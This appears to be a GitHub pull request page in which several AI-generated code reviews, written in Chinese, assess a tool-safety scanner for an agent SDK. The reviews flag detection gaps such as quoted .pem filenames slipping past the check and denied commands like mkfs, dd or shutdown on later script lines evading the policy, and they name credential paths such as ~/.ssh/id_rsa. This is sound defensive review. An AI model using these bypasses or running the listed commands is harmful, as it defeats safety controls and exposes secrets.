整体实现结构清晰、fail-closed 设计合理、测试覆盖较全面,不存在安全凭证泄露或命令注入类阻塞性漏洞。主要风险是两处检测规则失效(*.pem/*.key 漏报、Python 大文件写入阈值失效)和一份生成物被误提交,其中前者属于安全检测漏报,建议修复后再合入。

测试建议

  • 补充 cat server.pemopen('cert.key') 等密钥文件访问的检测用例,验证 *.pem/*.key 规则实际生效。
  • 补充 Python 侧 open('f','w')max_file_write_bytes 阈值上下不同写入字节数的用例,确认阈值门控按预期触发/放行。


# Check for sensitive path access (e.g. cat ~/.ssh/id_rsa)
for sensitive in SENSITIVE_PATHS:
if sensitive in line and not sensitive.startswith("*"):

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

敏感路径 glob 规则 (.pem/.key) 永远无法命中,造成 R001 漏报

SENSITIVE_PATHS 中 .pem、.key 是 glob 形式,但匹配用的是子串匹配且 not sensitive.startswith("") 直接跳过它们;Python 侧 _check_sensitive_path 同样是子串匹配。建议改为按后缀匹配(如 text.endswith(".pem"))或用 .pem/.key 子串形式,并移除 startswith("") 跳过逻辑。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

现在我已经获取了所有信息。让我来编写审查报告。

发现的问题

🚨 Critical

  • examples/tool_safety_guard/integration_demo/agent/tools.py:84-85SkillToolSet 用错误参数挂载安全过滤器

    • SkillToolSet 构造签名只接受 tool_filter(谓词或工具名列表)和 **run_tool_kwargs,没有 filters/allowed_cmds 形参。传入的 filters=[safety_filter] 被静默吞入 run_tool_kwargsToolSafetyFilter 永远不会挂到 skill 工具上,skill 执行路径实际无安全防护。应改为通过 add_tool_safety_filter 或 toolset 实际暴露的过滤器接入方式注入。
  • examples/tool_safety_guard/integration_demo/agent/tools.py:102MCPToolsetToolSafetyFilter 错误地当作 tool_filter 传入

    • MCPToolset.tool_filter 期望 ToolPredicate 或工具名列表,而非 BaseFilter;且 is_include_all_tools 默认为 True_is_tool_selected 直接返回 True,过滤器被完全忽略。安全过滤器从未挂到 MCP 工具上,README/注释宣称的“denied commands 在 MCPTool filter 层被阻断”并不成立。应使用 filters=[safety_filter]

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_bash_parser.py:268-320_check_command_policy 的 denied/review/allowed 匹配只针对多行脚本的第一行

    • _check_command_policy 对整个脚本做一次 shlex 分词后用 tokens[:len(denied_tokens)] == denied_tokensbase_cmd = tokens[0] 判断,换行被当作空白折叠,因此非首行的 mkfs/dd if=/halt/poweroff/shutdown/reboot 等仅存在于 denied_commands、没有 BASH_SYSTEM_PATTERNS 正则兜底的命令会绕过策略。建议对每行(或每个命令段)单独做 token 前缀匹配。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:90-104:敏感文件后缀检查可被引号绕过

    • base = token.rstrip(";|&\"'") 只去尾引号,cat "server.pem" 的 token 为 "server.pem,不以 .pem 结尾从而漏检;.pem/.key 等又不在 SENSITIVE_PATHS 内,导致带引号的证书/私钥读取可绕过检测。建议同时 lstrip 掉首引号或用 shlex 解析再判断。
  • trpc_agent_sdk/tools/safety/_audit.py:59-71_path_locks 为类级 dict 且永不清理

    • 不同审计路径会持续累积 threading.Lock 对象,长期运行的服务中若路径动态变化(如按会话/日期切分)会造成无界内存增长。建议改用 WeakValueDictionary 或在 record 后按需清理。
  • tests/tools/safety/test_integration_demo.py:95tests/tools/safety/test_opt_in.py:115:执行类测试断言恒真

    • assert "hello" in output or True / ... or True 使断言永远通过,既不验证安全放行也不验证执行结果,未覆盖实际风险路径。应去掉 or True 并对 result.output 做真实断言。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_filter.py:79-94:扫描器异常路径构造的 fail-closed SafetyReport 缺少 telemetry_attributesrule_ids,导致审计/遥测信息不完整;建议复用 SafetyScanner 的 telemetry 构造逻辑或显式补全字段。

总结

整体实现完整、测试覆盖较广,但存在两处示例接入错误(Critical)使 Skill/MCP 路径的安全防护实际未生效,以及 bash 多行策略绕过与敏感文件引号绕过两处检测缺口(Warning),需修复后再合入。

测试建议

  • 补充多行脚本用例:首行为安全命令、后续行包含 mkfs/dd if=/shutdowndenied_commands,验证非首行也被阻断。
  • 补充带引号的敏感文件读取用例(如 cat "server.pem"open("\"key\"")),验证后缀检测不被引号绕过。
  • create_mcp_toolset/create_skill_toolset 增加断言 ToolSafetyFilter 实际挂到工具 filters 上的集成测试。

from trpc_agent_sdk.skills import SkillToolSet
return SkillToolSet(
paths=[str(SKILL_ROOT)],
filters=[safety_filter],

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

SkillToolSet 用错误参数挂载安全过滤器

SkillToolSet 构造签名只接受 tool_filter**run_tool_kwargs,没有 filters/allowed_cmds 形参,传入的 filters=[safety_filter] 被静默吞入 run_tool_kwargsToolSafetyFilter 永远不会挂到 skill 工具上,skill 执行路径实际无安全防护。应改为通过 add_tool_safety_filter 或 toolset 实际暴露的过滤器接入方式注入。

connection_params=StdioConnectionParams(
server_params={"command": sys.executable, "args": [str(MCP_SERVER)]},
),
tool_filter=safety_filter,

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

MCPToolset 把 ToolSafetyFilter 错误地当作 tool_filter 传入

MCPToolset.tool_filter 期望 ToolPredicate 或工具名列表,而非 BaseFilter;且 is_include_all_tools 默认为 True_is_tool_selected 直接返回 True,过滤器被完全忽略,安全过滤器从未挂到 MCP 工具上。应使用 filters=[safety_filter]

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我已经了解了。让我最后确认一件事:关于 AuditLogger.record 只捕获了 OSError 的问题 —— json.dumps 抛出的 TypeError 会传播,并可能阻塞工具执行,这与文档字符串(docstring)中“绝不阻塞工具执行”的声明相悖。让我确认一下这个问题是否属实,并检查它在过滤器路径(filter path)中是否已得到处理。

_filter.py 中,self._audit.record(report)(第 90 行)位于 try/except Exception → DENY(故障关闭)之外。如果审计抛出 TypeError,它会从 _before 传播到过滤框架。在 BashTool 中,审计位于第 194 行,处于外部 try/except Exception(第 262 行)之内 —— 因此在那里它不会崩溃,但整个工具调用会返回 EXECUTION_ERROR。因此,审计的 json.dumps 失败可能会导致 BashTool 调用失败。虽然这是一个边缘情况(只有当发现结果包含不可序列化的内容时才会发生,但发现结果都是简单的字符串),所以实际风险很低。文档字符串声称“绝不阻塞”,但只捕获了 OSError —— 这是一个轻微的不一致,我将其标记为 Suggestion/Warning。

其实 asdict 会生成一个包含纯字符串/列表/字典的字典(枚举属于 str 类型),所以 json.dumps 本不应该失败。因此实际风险可以忽略不计。我最多将其标记为 Suggestion。

让我整理一下审查结果。最重要的真正问题是:

  1. SafeCodeExecutor 缺少故障关闭(fail-closed)处理(Warning)—— 与其他路径不一致。
  2. 通过 SENSITIVE_PATHS 子字符串匹配导致的高误报拦截问题(Warning)—— 像包含 "token"/"password"/"secret" 字样的 echo 命令会被 DENY。
  3. create_skill_toolset 丢弃了 YAML 策略,使用了默认策略(Warning,示例代码)。
  4. 示例 18 中对密钥打印的检测存在缺口(Suggestion/test)。

让我再次验证 #1 的严重性,并通过检查在 SafeCodeExecutor 的阻塞路径中是否设置了 set_blocked 来确认不存在其他问题 —— 实际上,SafeCodeExecutor 创建了报告,但从不调用 set_blocked。审计事件会记录 blocked=report.blocked,其值来源于 scanner.scan 的报告,其中 blocked = decision==DENY。因此,当 block_on_review 为 True 且 decision 为 NEEDS_HUMAN_REVIEW 时,执行会被阻塞,但 report.blocked 仍为 False(因为扫描器将 blocked 设置为 decision==DENY)。所以审计会记录 blocked=False,尽管执行实际上已被阻塞。这与 BashTool 不同,后者调用了 report.set_blocked(should_block)。让我确认 SafeCodeExecutor 是否没有调用 set_blocked

查看 _wrapper.py 第 74-89 行:它调用了 scanner.scan(req),记录审计日志,设置遥测,然后单独计算 should_block,但从未调用 report.set_blocked(should_block)。因此,当 block_on_review 为 True 时,审计/遥测会错误地报告 blocked=False。这是一个真实存在的遥测/审计准确性 bug。我将其与 fail-closed 问题合并,因为两者都存在于 SafeCodeExecutor 中。

让我撰写审查报告。Based on my review of the safety guard implementation, the integration points, and the tests, here are my findings.

发现的问题

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_wrapper.py:74-89:SafeCodeExecutor 缺少 fail-closed 保护且未同步 blocked 标记

    • ToolSafetyFilter._before_filter.py:67-86,扫描异常→DENY)和 UnsafeLocalCodeExecutor.execute_code_unsafe_local_code_executor.py:117-123,扫描异常→block)不同,SafeCodeExecutor 直接调用 scanner.scan(req) 没有 try/except,扫描器抛异常会向上传播而非 fail-closed 阻断。同时它根据 should_block 阻断执行,但从未调用 report.set_blocked(should_block)(对比 _bash_tool.py:192),当 block_on_review=True 且 decision 为 NEEDS_HUMAN_REVIEW 时,audit/telemetry 会错误记录 blocked=False。建议对齐其它两条路径:包裹扫描调用并 fail-closed,并在阻断前 report.set_blocked(should_block)
  • trpc_agent_sdk/tools/safety/_bash_parser.py:80-92_python_parser.py:238-251:敏感路径用裸子串匹配导致过度拦截

    • SENSITIVE_PATHS_rules.py:15-37)包含 token/password/secret 等常见单词,if sensitive in line 命中即判 RiskLevel.HIGH → 聚合为 DENY。合法命令如 echo "reset password"git commit -m "add token refresh" 会被直接阻断。建议对单词类敏感项改用词边界或更精确的模式(如 \$token/id_rsa),或将这类弱信号降级为 MEDIUM/REVIEW 而非 HIGH。
  • examples/tool_safety_guard/integration_demo/agent/tools.py:88-92:SafetyWrappedToolSet 丢失 YAML 策略

    • create_skill_toolset 构造 SafetyWrappedToolSet 时未传 policy,其内部 add_tool_safety_filter 会用 PolicyConfig.default() 而非上层 create_safety_scanner() 加载的示例 YAML 策略,导致 Skill 执行路径的安全策略与 Bash/CodeExecutor 路径不一致。建议将 scanner 对应的 policy 显式传入 SafetyWrappedToolSet

💡 Suggestion

  • examples/tool_safety_guard/samples/18_env_secret_print.py:1-3scripts/run_safety_scan.py:48:密钥经环境变量打印的样本被标为 allow,扫描器未检测 print(secret) 类外泄。建议补充对 print/os.getenv 组合或敏感变量名外泄的检测,或将该样本预期改为 review,避免给使用者“此类操作安全”的错误示范。

  • trpc_agent_sdk/tools/safety/_audit.py:88-97record() 仅捕获 OSError,与 docstring“audit plumbing never blocks tool execution”不一致——json.dumps/asdict 抛非 OSError 时会向上传播。当前 findings 均为简单类型实际触发概率低,但建议将 except OSError 放宽为 except Exception 以严格兑现“绝不阻塞执行”的承诺。

总结

整体安全防护设计合理、测试覆盖较全,不存在必须修复的阻塞性问题;主要风险是 SafeCodeExecutor 路径与其它两条执行路径在 fail-closed 与 blocked 标记上不一致,以及敏感路径子串匹配带来的误拦截。建议在合入前修复上述 Warning。

测试建议

  • 补充 SafeCodeExecutor 在扫描器抛异常时的 fail-closed 测试,以及 block_on_review=True 下 audit 中 blocked 字段为 True 的断言(当前 test_wrapper.py 未覆盖)。
  • 补充一条包含 password/token 字样的合法 bash 命令用例,明确期望是放行还是降级 review,以固化过度拦截的边界行为。

@helloopenworld

Copy link
Copy Markdown
Contributor

AI Code Review

我现在已经有了完整且深入的了解。让我来总结一下我的发现。MagicMock(name="Bash") 的问题纯属外观问题(测试没有对 tool_name 进行断言,且 extract_tool_safety_context 能优雅地处理非字符串类型的名称)。真正的问题在于正确性、安全性和稳定性。让我完成最终评估。

发现的问题

🚨 Critical

  • trpc_agent_sdk/tools/safety/_filter.py:43-46:扫描失败时构造的 SafetyReport 缺少必填字段 language/target,且未设置 sanitized,注释声称"fail-closed → DENY"但实际不会阻塞执行。

    • _beforescan 抛异常时进入 except 分支构造 DENY 报告,但该 dataclass 的 language/target 是必填字段(无默认值),此处未从 scan_req 复制,会在构造时抛 TypeError,被 _base_filter.py:158 的外层 except Exception 捕获后 yield FilterResult(error=ex, is_continue=False)——虽然最终也阻断了执行,但路径与设计不符,且错误信息丢失了安全上下文。应从 scan_req 补齐 language=scan_req.language, target=scan_req.target, sanitized=False,并显式 report.set_blocked(True) 后再 rsp.is_continue=False
    report = SafetyReport(
        tool_name=getattr(tool, 'name', 'unknown'),
        decision=Decision.DENY,
        ...
        # 缺少 language / target
    )
  • trpc_agent_sdk/tools/safety/_filter.py:99-105:阻断时只设置了 rsp.rsprsp.is_continue=False,但未调用 report.set_blocked(True),导致审计日志中 blocked 字段记录为 False

    • SafetyScanner.scanblocked = decision == Decision.DENY,filter 阻断路径依赖该值;但当 block_on_review=True 导致 NEEDS_HUMAN_REVIEW 也阻断时,report.blocked 仍为 False。BashTool 路径(_bash_tool.py:191)调用了 report.set_blocked(should_block),而 filter 路径遗漏了,使审计记录与实际执行行为不一致。应在阻断前补 report.set_blocked(should_block)

⚠️ Warning

  • trpc_agent_sdk/tools/safety/_bash_parser.py:255-271_check_command_policyallowed_commands 非空时,对每个不在白名单的基础命令都追加一条 MEDIUM 发现,且不在行级去重前合并,会导致几乎任意真实 bash 脚本(含 cdexport、变量赋值等)都被判为 NEEDS_HUMAN_REVIEW。

    • 默认 PolicyConfig.default()allowed_commands 只含 15 个命令,缺少 cd/export/source/set/unset 等常见安全命令,默认策略下大量正常脚本会被误判为需人工评审;建议补充常用安全命令或在白名单匹配时跳过 shell 内建关键字。
  • trpc_agent_sdk/tools/safety/_python_parser.py:175-181_check_dynamic_execfunc_path.rsplit(".",1)[-1] 做 last-segment 匹配,会把任意名为 eval/exec/compile 的自定义方法(如 obj.eval(...)my.compile(...))误报为动态执行。

    • 这种宽松匹配虽能拦截 builtins.eval,但也会对合法业务方法产生 HIGH 级误报(直接 DENY),建议仅对已知危险模块前缀(builtins/__builtins__/裸名)触发,或降低非 builtins 命名的风险等级。
  • trpc_agent_sdk/tools/safety/_bash_parser.py:202-208_check_resource_abuseR005_LONG_RUNNING_SLEEPint(match.group(1)) 判断超时阈值,但 head -c 规则(R005_LARGE_FILE_WRITE)没有捕获组,bash 中若误匹配会触发 IndexError——当前 sleep 规则有 group(1) 安全,但 head -c 同样使用带 group 的正则,xargs -P/parallel -j 也有 group,逻辑上 OK;真正风险是 int() 对超大数字或非纯数字(如 sleep 1m)静默通过 ValueError 继续报 HIGH,建议对解析失败保留原风险等级而非默认放行。

  • trpc_agent_sdk/code_executors/local/_unsafe_local_code_executor.py:114-119:扫描异常时直接 return create_code_execution_result(stderr=...),fail-closed 行为正确,但异常被 except Exception 静默吞掉,没有任何日志/telemetry,运维难以定位为何所有代码块都被阻断。

    • 建议至少 logging.warning 记录异常,或在 stderr 中附带异常类型,避免线上排查时只看到 "Safety scanner error" 而无根因。

💡 Suggestion

  • trpc_agent_sdk/tools/safety/_extractors.py:27-28tool_name = getattr(tool, 'name', '') or ''str(tool_name),当 tool.name 是非字符串(如 MagicMock 子属性)时 tool_name_str 会变成 mock repr。测试中 MagicMock(name="Bash") 实际不会把 .name 设为字符串 "Bash"(name 是 mock 的标识参数),建议显式 tool.name = "Bash" 以避免测试与真实 Tool 行为脱节。

总结

整体设计完整、fail-closed 方向正确,但 filter 的扫描异常处理路径存在 dataclass 必填字段缺失会触发二次异常的 Critical 问题,且 filter 与 BashTool 两条阻断路径对 blocked 字段记录不一致,建议合并修复后再合入。

测试建议

  • 补充 ToolSafetyFilter._beforescanner.scan 抛异常时的端到端测试,断言 SafetyReport 能正常构造且 rsp.rsp["decision"]=="deny"、审计 blocked==True
  • 补充 block_on_review=True 触发 NEEDS_HUMAN_REVIEW 阻断时,审计日志 blocked 字段为 True 的断言,覆盖 filter 与 BashTool 两条路径。

block_on_review: If True, NEEDS_HUMAN_REVIEW decisions also block
execution. Default False (only DENY blocks).
"""

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

扫描异常路径构造 SafetyReport 缺少必填字段且未真正阻断

scan 抛异常时构造的 DENY SafetyReport 缺少必填的 language/target,未设置 sanitized,会在构造时抛 TypeError 被外层 except 捕获,路径与设计不符且丢失安全上下文。应从 scan_req 补齐 language/target/sanitized=False 并显式 set_blocked(True)。

if should_block:
rsp.rsp = {
"success": False,
"error": f"TOOL_SAFETY_BLOCKED: {report.summary}",

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

filter 阻断路径未调用 set_blocked(True) 导致审计字段不一致

阻断时只设置 rsp 与 is_continue=False,未调用 report.set_blocked(True),使审计日志 blocked 记为 False,与 BashTool 路径不一致。block_on_review 触发 NEEDS_HUMAN_REVIEW 阻断时同样遗漏,应在阻断前补 report.set_blocked(should_block)。

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

构建 Tool 执行脚本安全扫描、Filter 拦截与监控机制

2 participants